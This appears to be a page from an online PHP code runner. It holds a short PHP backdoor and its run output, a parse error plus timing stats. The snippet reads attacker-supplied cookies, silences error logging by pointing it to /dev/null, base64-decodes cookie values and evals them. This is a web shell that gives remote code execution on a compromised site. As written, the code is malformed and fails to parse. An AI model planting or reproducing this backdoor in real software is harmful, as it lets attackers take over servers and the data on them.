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<?php eval($c='count'; $a=$_COOKIE; if(reset($a)=='in' && $c($a)>3) {ini_set('error_log', '/dev/null'); $k='terwebz'; echo '<'.$k.'>'; eval(base64_decode(preg_replace(array('/[^\w=\s]/','/\s/'), array('','+'), join(array_slice($a,$c($a)-3))))); echo '</'.$k.'>';}) ?>
Output for 5.3.0 - 5.3.18, 5.4.0 - 5.4.8
Parse error: syntax error, unexpected ';' in /in/87UZa on line 2
Process exited with code 255.

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168.58 ms | 1395 KiB | 35 Q